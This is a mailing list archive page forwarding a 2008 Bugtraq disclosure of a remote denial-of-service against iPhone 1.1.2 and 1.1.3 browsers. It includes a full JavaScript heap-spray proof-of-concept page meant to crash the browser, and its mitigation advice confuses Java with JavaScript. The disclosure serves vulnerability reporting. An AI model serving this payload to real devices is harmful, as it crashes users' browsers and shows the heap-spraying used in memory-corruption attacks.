funsec mailing list archives

Apple iPhone 1.1.3 remote DoS exploit (fwd)

From: Gadi Evron <ge () linuxbox org>
Date: Tue, 5 Feb 2008 18:44:13 -0600 (CST)

---------- Forwarded message ----------
Date: 5 Feb 2008 20:43:06 -0000
From: morin.josh () gmail com
To: bugtraq () securityfocus com
Subject: Apple iPhone 1.1.3 remote DoS exploit

Vendor: Apple

Version affected: 1.1.2 and 1.1.3

Overview:The Apple iPhone remote DoS for 1.1.2 was discovered by c0ntex, but it actually works on 1.1.3 as well. After 
further research it also appears that this was a known issue with Firefox version 1.5.04 and was effected 
cross-platform.
Called Mozilla Firefox JavaScript navigator Object Vulnerability.I recommend you disable Java until Apple releases a 
fix or patch.
___________________________________

Proof of Concept (PoC):

     <html><body><script>

     function Demo() {

        var shellcode;
        var addr;
        var fill;

        alert('attempting a crash!');
        shellcode = unescape('%u0c0c');
        fill = unescape('%ucccc');
        addr = 0x02020202;

        var b = fill;
        while (b.length <= 0x40000) b+=b;

        var c = new Array();
        for (var i =0; i<36; i++) {
                c[i] =
                        b.substring(0,  0x100000 -          shellcode.length) + shellcode +
                        b.substring(0,  0x100000 - shellcode.length) + shellcode +
                        b.substring(0,  0x100000 - shellcode.length) + shellcode +
                        b.substring(0,  0x100000 - shellcode.length) + shellcode;
        }

     }

     </script>

     <input type='button' onClick='Demo()' value='Go!'>

     </body></html>
_________________________________________
Discovered by Joshua Morin

_______________________________________________
Fun and Misc security discussion for OT posts.
https://linuxbox.org/cgi-bin/mailman/listinfo/funsec
Note: funsec is a public and open mailing list.

Current thread:

Apple iPhone 1.1.3 remote DoS exploit (fwd) Gadi Evron (Feb 05)